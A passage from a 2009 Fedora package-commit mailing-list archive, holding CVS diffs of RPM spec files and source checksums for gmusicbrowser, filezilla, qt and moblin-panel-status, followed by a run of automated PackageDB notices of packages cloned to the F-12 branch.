 %prep
 %setup -q
 
-# Fix Makefile to preserve Timestamp
-sed -ie 's/install /install -p /' Makefile
 
 cat <<EOF > %{name}-req
 #!/bin/sh
@@ -101,6 +99,9 @@ update-desktop-database &> /dev/null ||:
 
 
 %changelog
+* Sat Oct 03 2009 Remi Collet <Fedora at FamilleCollet.com> - 1.0.2-1
+- new upstream version
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.1-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/gmusicbrowser/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	12 Apr 2009 18:32:44 -0000	1.2
+++ sources	3 Oct 2009 14:15:55 -0000	1.3
@@ -1 +1 @@
-f088bc27f4c1ddfb46e441b879560398  gmusicbrowser-1.0.1.tar.gz
+b5a3839d0e1a55151657d2192a6a8a41  gmusicbrowser-1.0.2.tar.gz



From kwizart at fedoraproject.org  Sat Oct  3 14:07:41 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Sat,  3 Oct 2009 14:07:41 +0000 (UTC)
Subject: rpms/filezilla/devel sources, 1.44, 1.45 .cvsignore, 1.40,
	1.41 filezilla.spec, 1.50, 1.51
Message-ID: <20091003140741.4EF4F11C00E5@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/filezilla/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13803

Modified Files:
	sources .cvsignore filezilla.spec 
Log Message:
Update to 3.2.8-rc1



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/filezilla/devel/sources,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- sources	29 Aug 2009 14:04:01 -0000	1.44
+++ sources	3 Oct 2009 14:07:40 -0000	1.45
@@ -1 +1 @@
-b65a626e2c5854a6061d4e577614231b  FileZilla_3.2.7.1_src.tar.bz2
+226146de47f95c7d2c5386a9c20f1976  FileZilla_3.2.8-rc1_src.tar.bz2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/filezilla/devel/.cvsignore,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- .cvsignore	29 Aug 2009 14:04:00 -0000	1.40
+++ .cvsignore	3 Oct 2009 14:07:40 -0000	1.41
@@ -1 +1 @@
-FileZilla_3.2.7.1_src.tar.bz2
+FileZilla_3.2.8-rc1_src.tar.bz2


Index: filezilla.spec
===================================================================
RCS file: /cvs/pkgs/rpms/filezilla/devel/filezilla.spec,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- filezilla.spec	29 Aug 2009 14:04:01 -0000	1.50
+++ filezilla.spec	3 Oct 2009 14:07:40 -0000	1.51
@@ -1,8 +1,8 @@
-#global fz_rc   rc1
+%global fz_rc   rc1
 
 Name:           filezilla
-Version:        3.2.7.1
-Release:        1%{?fz_rc:_%{?fz_rc}}%{?dist}
+Version:        3.2.8
+Release:        0.1%{?fz_rc:_%{?fz_rc}}%{?dist}
 Summary:        FileZilla FTP, FTPS and SFTP client
 
 Group:          Applications/Internet
@@ -119,6 +119,9 @@ fi || :
 
 
 %changelog
+* Sat Oct  3 2009 kwizart < kwizart at gmail.com > - 3.2.8-0.1-rc1
+- Update to 3.2.8-rc1
+
 * Sat Aug 29 2009 kwizart < kwizart at gmail.com > - 3.2.7.1-1
 - Update to 3.2.7.1
 



From pkgdb at fedoraproject.org  Sat Oct  3 14:40:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 14:40:23 +0000
Subject: [pkgdb] nimbus (un)retirement
Message-ID: <20091003144023.BF9B710F87E@bastion2.fedora.phx.redhat.com>

Package nimbus in Fedora 10 has been unretired by toshio and is now orphan.

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Sat Oct  3 14:40:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 14:40:20 +0000
Subject: [pkgdb] nimbus (un)retirement
Message-ID: <20091003144020.B3C4B10F7EA@bastion2.fedora.phx.redhat.com>

Package nimbus in Fedora devel has been unretired by toshio and is now orphan.

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From rdieter at fedoraproject.org  Sat Oct  3 15:29:20 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat,  3 Oct 2009 15:29:20 +0000 (UTC)
Subject: rpms/qt/F-12 qt.spec,1.330,1.331
Message-ID: <20091003152920.D35D011C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27855

Modified Files:
	qt.spec 
Log Message:
* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.2-22
- if ! phonon_internal, exclude more/all phonon headers
- qt-devel must Requires: phonon-devel (#520323)

* Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.2-21
- switch to external/kde phonon



Index: qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt/F-12/qt.spec,v
retrieving revision 1.330
retrieving revision 1.331
diff -u -p -r1.330 -r1.331
--- qt.spec	28 Sep 2009 13:33:30 -0000	1.330
+++ qt.spec	3 Oct 2009 15:29:14 -0000	1.331
@@ -10,7 +10,7 @@ Summary: Qt toolkit
 Name:    qt
 Epoch:   1
 Version: 4.5.2
-Release: 20%{?dist}
+Release: 22%{?dist}
 
 # See LGPL_EXCEPTIONS.txt, LICENSE.GPL3, respectively, for exception details
 License: LGPLv2 with exceptions or GPLv3 with exceptions
@@ -97,7 +97,11 @@ Source31: hi48-app-qt4-logo.png
 %define psql -plugin-sql-psql
 %define sqlite -plugin-sql-sqlite
 %define phonon -phonon
+# if building with -phonon, define to internal version (ie, Obsolete external phonon)
+#define phonon_internal 1
 %define phonon_backend -phonon-backend
+# if -phonon-backend, include in packaging (else it's omitted)
+#define phonon_backend_packaged 1
 %define phonon_version 4.3.1
 %define phonon_version_major 4.3
 %define phonon_release 100
@@ -237,6 +241,8 @@ Requires: libjpeg-devel
 Requires: pkgconfig
 %if 0%{?phonon:1}
 Provides: qt4-phonon-devel = %{version}-%{release}
+%endif
+%if 0%{?phonon_internal}
 Obsoletes: phonon-devel < 4.3.1-100
 Provides:  phonon-devel = %{phonon_version}-%{phonon_release}
 %endif
@@ -312,10 +318,12 @@ Provides:  qt4-postgresql = %{version}-%
 Summary: Qt GUI-related libraries
 Group: System Environment/Libraries
 %if 0%{?phonon:1}
+Requires:  phonon-backend%{?_isa} >= %{phonon_version_major} 
+%endif
+%if 0%{?phonon_internal}
 Obsoletes: phonon < 4.3.1-100
 Provides:  phonon = %{phonon_version}-%{phonon_release}
 Provides:  phonon%{?_isa} = %{phonon_version}-%{phonon_release}
-Requires:  phonon-backend%{?_isa} >= %{phonon_version_major} 
 Provides:  qt4-phonon = %{version}-%{release}
 %endif
 %if 0%{?webkit:1}
@@ -510,6 +518,12 @@ done
 # nuke dangling reference(s) to %buildroot
 sed -i -e "/^QMAKE_PRL_BUILD_DIR/d" %{buildroot}%{_qt4_libdir}/*.prl
 
+# nuke QMAKE_PRL_LIBS, seems similar to static linking and .la files (#520323)
+sed -i -e "s|^QMAKE_PRL_LIBS|#QMAKE_PRL_LIBS|" %{buildroot}%{_qt4_libdir}/*.prl
+
+# .la files, die, die, die.
+rm -f %{buildroot}%{_qt4_libdir}/lib*.la
+
 %if 0
 #if "%{_qt4_docdir}" != "%{_qt4_prefix}/doc"
 # -doc make symbolic link to _qt4_docdir
@@ -549,9 +563,6 @@ for lib in libQt*.a ; do
 done
 popd
 
-# .la files, die, die, die.
-rm -f %{buildroot}%{_qt4_libdir}/lib*.la
-
 %ifarch %{multilib_archs}
 # multilib: qconfig.h
   mv %{buildroot}%{_qt4_headerdir}/Qt/qconfig.h %{buildroot}%{_qt4_headerdir}/QtCore/qconfig-%{_arch}.h
@@ -579,9 +590,11 @@ install -p -m644 -D %{SOURCE4} %{buildro
 # qt4-logo (generic) icons
 install -p -m644 -D %{SOURCE30} %{buildroot}%{_datadir}/icons/hicolor/128x128/apps/qt4-logo.png
 install -p -m644 -D %{SOURCE31} %{buildroot}%{_datadir}/icons/hicolor/48x48/apps/qt4-logo.png
+%if 0%{?docs}
 # assistant icons
 install -p -m644 -D tools/assistant/tools/assistant/images/assistant.png %{buildroot}%{_datadir}/icons/hicolor/32x32/apps/assistant.png
 install -p -m644 -D tools/assistant/tools/assistant/images/assistant-128.png %{buildroot}%{_datadir}/icons/hicolor/128x128/apps/assistant.png
+%endif
 # designer icons
 install -p -m644 -D tools/designer/src/designer/images/designer.png %{buildroot}%{_datadir}/icons/hicolor/128x128/apps/designer.png
 # linguist icons
@@ -633,14 +646,26 @@ EOF
 # create/own %%_qt4_plugindir/styles
 mkdir %{buildroot}%{_qt4_plugindir}/styles
 
-%if 0%{?phonon:1} 
+%if 0%{?phonon_internal}
 mkdir -p %{buildroot}%{_qt4_plugindir}/phonon_backend
+# This should no longer be required, but... -- Rex
 pushd %{buildroot}%{_qt4_headerdir}
 ln -s phonon Phonon
 popd
+%else
+rm -fv  %{buildroot}%{_qt4_libdir}/libphonon.so*
+rm -rfv %{buildroot}%{_libdir}/pkgconfig/phonon.pc
+# contents slightly different between phonon-4.3.1 and qt-4.5.0
+rm -fv  %{buildroot}%{_includedir}/phonon/phononnamespace.h
+# contents dup'd but should remove just in case
+rm -fv  %{buildroot}%{_includedir}/phonon/*.h
+rm -rfv %{buildroot}%{_qt4_headerdir}/phonon*
+#rm -rfv %{buildroot}%{_qt4_headerdir}/Qt/phonon*
+rm -fv %{buildroot}%{_datadir}/dbus-1/interfaces/org.kde.Phonon.AudioOutput.xml
 %endif
 
-%if "%{?phonon_backend}" == "-phonon-backend"
+#if "%{?phonon_backend}" == "-phonon-backend"
+%if 0%{?phonon_backend_packaged}
 install -D -m 0644 %{SOURCE10} %{buildroot}%{_datadir}/icons/hicolor/scalable/apps/phonon-gstreamer.svg
 install -D -m 0644 %{SOURCE11} %{buildroot}%{_datadir}/icons/hicolor/16x16/apps/phonon-gstreamer.png
 install -D -m 0644 %{SOURCE12} %{buildroot}%{_datadir}/icons/hicolor/22x22/apps/phonon-gstreamer.png
@@ -685,7 +710,8 @@ touch --no-create %{_datadir}/icons/hico
 gtk-update-icon-cache -q %{_datadir}/icons/hicolor 2> /dev/null ||:
 fi
 
-%if "%{?phonon_backend}" == "-phonon-backend"
+#if "%{?phonon_backend}" == "-phonon-backend"
+%if 0%{?phonon_backend_packaged}
 %post -n phonon-backend-gstreamer
 touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null ||:
 
@@ -815,6 +841,8 @@ fi
 %{_qt4_datadir}/q3porting.xml
 %if 0%{?phonon:1}
 %{_qt4_libdir}/libphonon.prl
+%endif
+%if 0%{?phonon_internal}
 %{_qt4_libdir}/libphonon.so
 %endif
 %{_qt4_libdir}/libQt*.so
@@ -873,7 +901,7 @@ fi
 %files x11 
 %defattr(-,root,root,-)
 %{_sysconfdir}/rpm/macros.*
-%if 0%{?phonon:1}
+%if 0%{?phonon_internal}
 %{_qt4_libdir}/libphonon.so.4*
 %dir %{_datadir}/kde4/services/phononbackends/
 %{_datadir}/dbus-1/interfaces/org.kde.Phonon.AudioOutput.xml
@@ -891,7 +919,8 @@ fi
 %{?webkit:%{_qt4_libdir}/libQtWebKit.so.*}
 %{_qt4_plugindir}/*
 %exclude %{_qt4_plugindir}/sqldrivers
-%if "%{?phonon_backend}" == "-phonon-backend"
+#if "%{?phonon_backend}" == "-phonon-backend"
+%if 0%{?phonon_backend_packaged}
 %exclude %{_qt4_plugindir}/phonon_backend/*_gstreamer.so
 %endif
 %if "%{_qt4_bindir}" != "%{_bindir}"
@@ -905,7 +934,15 @@ fi
 %{_datadir}/applications/*qtconfig.desktop
 %{_datadir}/icons/hicolor/*/apps/qt4-logo.*
 
+
 %changelog
+* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.2-22
+- if ! phonon_internal, exclude more/all phonon headers
+- qt-devel must Requires: phonon-devel (#520323)
+
+* Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.2-21
+- switch to external/kde phonon
+
 * Mon Sep 28 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.2-20
 - use internal Qt Assistant/Designer icons
 - -devel: move designer.qch,linguist.qch here



From rdieter at fedoraproject.org  Sat Oct  3 15:30:09 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat,  3 Oct 2009 15:30:09 +0000 (UTC)
Subject: rpms/qt/devel qt.spec,1.338,1.339
Message-ID: <20091003153009.7562F11C029E@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29473

Modified Files:
	qt.spec 
Log Message:
- if ! phonon_internal, exclude more/all phonon headers
- qt-devel must Requires: phonon-devel (#520323)



Index: qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt/devel/qt.spec,v
retrieving revision 1.338
retrieving revision 1.339
diff -u -p -r1.338 -r1.339
--- qt.spec	2 Oct 2009 16:57:06 -0000	1.338
+++ qt.spec	3 Oct 2009 15:30:09 -0000	1.339
@@ -54,6 +54,8 @@ Patch53: qt-x11-opensource-src-4.5.0-fix
 # fix invalid assumptions about mysql_config --libs
 # http://bugzilla.redhat.com/440673
 Patch54: qt-x11-opensource-src-4.5.1-mysql_config.patch
+# fix translations build (work-in-progress)
+#Patch55: qt-x11-opensource-src-4.5.3-translations_buildfix.patch
 
 # security patches
 
@@ -373,6 +375,7 @@ Qt libraries used for drawing widgets an
 %patch52 -p1 -b .sparc64
 %patch53 -p1 -b .qatomic-inline-asm
 %patch54 -p1 -b .mysql_config
+#patch55 -p1 -b .translations_buildfix
 
 # security fixes
 
@@ -537,6 +540,13 @@ done
 # nuke dangling reference(s) to %buildroot
 sed -i -e "/^QMAKE_PRL_BUILD_DIR/d" %{buildroot}%{_qt4_libdir}/*.prl
 
+# nuke QMAKE_PRL_LIBS, seems similar to static linking and .la files (#520323)
+sed -i -e "s|^QMAKE_PRL_LIBS|#QMAKE_PRL_LIBS|" %{buildroot}%{_qt4_libdir}/*.prl
+
+# .la files, die, die, die.
+rm -f %{buildroot}%{_qt4_libdir}/lib*.la
+
+
 %if 0
 #if "%{_qt4_docdir}" != "%{_qt4_prefix}/doc"
 # -doc make symbolic link to _qt4_docdir
@@ -576,9 +586,6 @@ for lib in libQt*.a ; do
 done
 popd
 
-# .la files, die, die, die.
-rm -f %{buildroot}%{_qt4_libdir}/lib*.la
-
 %ifarch %{multilib_archs}
 # multilib: qconfig.h
   mv %{buildroot}%{_qt4_headerdir}/Qt/qconfig.h %{buildroot}%{_qt4_headerdir}/QtCore/qconfig-%{_arch}.h
@@ -662,21 +669,20 @@ EOF
 # create/own %%_qt4_plugindir/styles
 mkdir %{buildroot}%{_qt4_plugindir}/styles
 
-%if 0%{?phonon:1} 
+%if 0%{?phonon_internal}
 mkdir -p %{buildroot}%{_qt4_plugindir}/phonon_backend
+# This should no longer be required, but... -- Rex
 pushd %{buildroot}%{_qt4_headerdir}
 ln -s phonon Phonon
 popd
-%endif
-
-%if ! 0%{?phonon_internal}
+%else
 rm -fv  %{buildroot}%{_qt4_libdir}/libphonon.so*
 rm -rfv %{buildroot}%{_libdir}/pkgconfig/phonon.pc
 # contents slightly different between phonon-4.3.1 and qt-4.5.0
 rm -fv  %{buildroot}%{_includedir}/phonon/phononnamespace.h
 # contents dup'd but should remove just in case
 rm -fv  %{buildroot}%{_includedir}/phonon/*.h
-#rm -rfv %{buildroot}%{_qt4_headerdir}/phonon*
+rm -rfv %{buildroot}%{_qt4_headerdir}/phonon*
 #rm -rfv %{buildroot}%{_qt4_headerdir}/Qt/phonon*
 rm -fv %{buildroot}%{_datadir}/dbus-1/interfaces/org.kde.Phonon.AudioOutput.xml
 %endif
@@ -958,6 +964,8 @@ fi
 %changelog
 * Fri Oct 02 2009 Than Ngo <than at redhat.com> - 4.5.3-2
 - cleanup patches
+- if ! phonon_internal, exclude more/all phonon headers
+- qt-devel must Requires: phonon-devel (#520323)
 
 * Thu Oct 01 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.3-1
 - qt-4.5.3



From pbrobinson at fedoraproject.org  Sat Oct  3 15:45:16 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sat,  3 Oct 2009 15:45:16 +0000 (UTC)
Subject: rpms/moblin-panel-status/F-12 .cvsignore, 1.5,
	1.6 moblin-panel-status.spec, 1.7, 1.8 sources, 1.5, 1.6
Message-ID: <20091003154516.4B13211C00E5@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-panel-status/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv691

Modified Files:
	.cvsignore moblin-panel-status.spec sources 
Log Message:
- New upstream 0.0.7 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-status/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	30 Sep 2009 10:27:48 -0000	1.5
+++ .cvsignore	3 Oct 2009 15:45:15 -0000	1.6
@@ -1 +1 @@
-moblin-panel-status-0.0.6.tar.bz2
+moblin-panel-status-0.0.7.tar.bz2


Index: moblin-panel-status.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-status/F-12/moblin-panel-status.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- moblin-panel-status.spec	30 Sep 2009 10:27:49 -0000	1.7
+++ moblin-panel-status.spec	3 Oct 2009 15:45:16 -0000	1.8
@@ -1,5 +1,5 @@
 Name:           moblin-panel-status
-Version:        0.0.6
+Version:        0.0.7
 Release:        1%{?dist}
 Summary:        Moblin Panel for Social Network Status
 
@@ -55,6 +55,9 @@ rm -rf %{buildroot}
 %{_datadir}/%{name}
 
 %changelog
+* Fri Oct  2 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.7-1
+- New upstream 0.0.7 release
+
 * Wed Sep 30 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.6-1
 - New upstream 0.0.6 release, drop upstreamed MC5 patches
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-status/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	30 Sep 2009 10:27:49 -0000	1.5
+++ sources	3 Oct 2009 15:45:16 -0000	1.6
@@ -1 +1 @@
-570bb1173a0b75777ce3da6a3940ddec  moblin-panel-status-0.0.6.tar.bz2
+5a14375d1513ceaf09fc45bff57303c2  moblin-panel-status-0.0.7.tar.bz2



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:06 +0000
Subject: [pkgdb] 389-admin F-12 cloned from devel
Message-ID: <20091003155806.BB0EB10F88C@bastion2.fedora.phx.redhat.com>

toshio cloned 389-admin F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/389-admin



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:08 +0000
Subject: [pkgdb] 389-admin-console F-12 cloned from devel
Message-ID: <20091003155808.7F35C10F894@bastion2.fedora.phx.redhat.com>

toshio cloned 389-admin-console F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/389-admin-console



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:10 +0000
Subject: [pkgdb] 389-adminutil F-12 cloned from devel
Message-ID: <20091003155810.AF37C10F8AF@bastion2.fedora.phx.redhat.com>

toshio cloned 389-adminutil F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/389-adminutil



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:12 +0000
Subject: [pkgdb] 389-console F-12 cloned from devel
Message-ID: <20091003155812.3F1E010F86A@bastion2.fedora.phx.redhat.com>

toshio cloned 389-console F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/389-console



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:14 +0000
Subject: [pkgdb] 389-ds F-12 cloned from devel
Message-ID: <20091003155814.528CA10F8B4@bastion2.fedora.phx.redhat.com>

toshio cloned 389-ds F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/389-ds



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:15 +0000
Subject: [pkgdb] 389-ds-base F-12 cloned from devel
Message-ID: <20091003155815.C79B910F8B5@bastion2.fedora.phx.redhat.com>

toshio cloned 389-ds-base F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/389-ds-base



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:18 +0000
Subject: [pkgdb] 389-ds-console F-12 cloned from devel
Message-ID: <20091003155818.BF05710F8B9@bastion2.fedora.phx.redhat.com>

toshio cloned 389-ds-console F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/389-ds-console



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:20 +0000
Subject: [pkgdb] 389-dsgw F-12 cloned from devel
Message-ID: <20091003155820.C2CC910F8BD@bastion2.fedora.phx.redhat.com>

toshio cloned 389-dsgw F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/389-dsgw



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:22 +0000
Subject: [pkgdb] 3proxy F-12 cloned from devel
Message-ID: <20091003155822.3302610F8AC@bastion2.fedora.phx.redhat.com>

toshio cloned 3proxy F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/3proxy



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:24 +0000
Subject: [pkgdb] AGReader F-12 cloned from devel
Message-ID: <20091003155824.1641C10F8AD@bastion2.fedora.phx.redhat.com>

toshio cloned AGReader F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/AGReader



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:29 +0000
Subject: [pkgdb] Ajaxterm F-12 cloned from devel
Message-ID: <20091003155829.954D410F8C5@bastion2.fedora.phx.redhat.com>

toshio cloned Ajaxterm F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Ajaxterm



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:31 +0000
Subject: [pkgdb] AllegroOGG F-12 cloned from devel
Message-ID: <20091003155831.35A7610F88B@bastion2.fedora.phx.redhat.com>

toshio cloned AllegroOGG F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/AllegroOGG



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:33 +0000
Subject: [pkgdb] BackupPC F-12 cloned from devel
Message-ID: <20091003155833.11F8010F8B3@bastion2.fedora.phx.redhat.com>

toshio cloned BackupPC F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/BackupPC



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:36 +0000
Subject: [pkgdb] BlockOutII F-12 cloned from devel
Message-ID: <20091003155836.A2FDB10F8B5@bastion2.fedora.phx.redhat.com>

toshio cloned BlockOutII F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/BlockOutII



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:38 +0000
Subject: [pkgdb] CCfits F-12 cloned from devel
Message-ID: <20091003155838.BB65310F892@bastion2.fedora.phx.redhat.com>

toshio cloned CCfits F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/CCfits



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:40 +0000
Subject: [pkgdb] CGAL F-12 cloned from devel
Message-ID: <20091003155840.C346C10F8CA@bastion2.fedora.phx.redhat.com>

toshio cloned CGAL F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/CGAL



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:43 +0000
Subject: [pkgdb] Canna F-12 cloned from devel
Message-ID: <20091003155843.F05D310F8BA@bastion2.fedora.phx.redhat.com>

toshio cloned Canna F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Canna



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:45 +0000
Subject: [pkgdb] ClanLib F-12 cloned from devel
Message-ID: <20091003155845.AADE210F8BC@bastion2.fedora.phx.redhat.com>

toshio cloned ClanLib F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/ClanLib



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:47 +0000
Subject: [pkgdb] ClanLib06 F-12 cloned from devel
Message-ID: <20091003155847.4EE4810F8BE@bastion2.fedora.phx.redhat.com>

toshio cloned ClanLib06 F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/ClanLib06



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:50 +0000
Subject: [pkgdb] Coin2 F-12 cloned from devel
Message-ID: <20091003155850.BD77210F8C1@bastion2.fedora.phx.redhat.com>

toshio cloned Coin2 F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Coin2



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:52 +0000
Subject: [pkgdb] ConsoleKit F-12 cloned from devel
Message-ID: <20091003155852.EFA0B10F8C3@bastion2.fedora.phx.redhat.com>

toshio cloned ConsoleKit F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/ConsoleKit



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:59 +0000
Subject: [pkgdb] DevIL F-12 cloned from devel
Message-ID: <20091003155859.3A35510F8B2@bastion2.fedora.phx.redhat.com>

toshio cloned DevIL F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/DevIL



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:02 +0000
Subject: [pkgdb] DeviceKit-disks F-12 cloned from devel
Message-ID: <20091003155902.9103D10F8DB@bastion2.fedora.phx.redhat.com>

toshio cloned DeviceKit-disks F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/DeviceKit-disks



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:07 +0000
Subject: [pkgdb] Django F-12 cloned from devel
Message-ID: <20091003155907.E899E10F8DD@bastion2.fedora.phx.redhat.com>

toshio cloned Django F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Django



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:09 +0000
Subject: [pkgdb] Django-south F-12 cloned from devel
Message-ID: <20091003155909.9581B10F894@bastion2.fedora.phx.redhat.com>

toshio cloned Django-south F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Django-south



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:12 +0000
Subject: [pkgdb] ETL F-12 cloned from devel
Message-ID: <20091003155912.E38C410F8C9@bastion2.fedora.phx.redhat.com>

toshio cloned ETL F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/ETL



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:18 2009
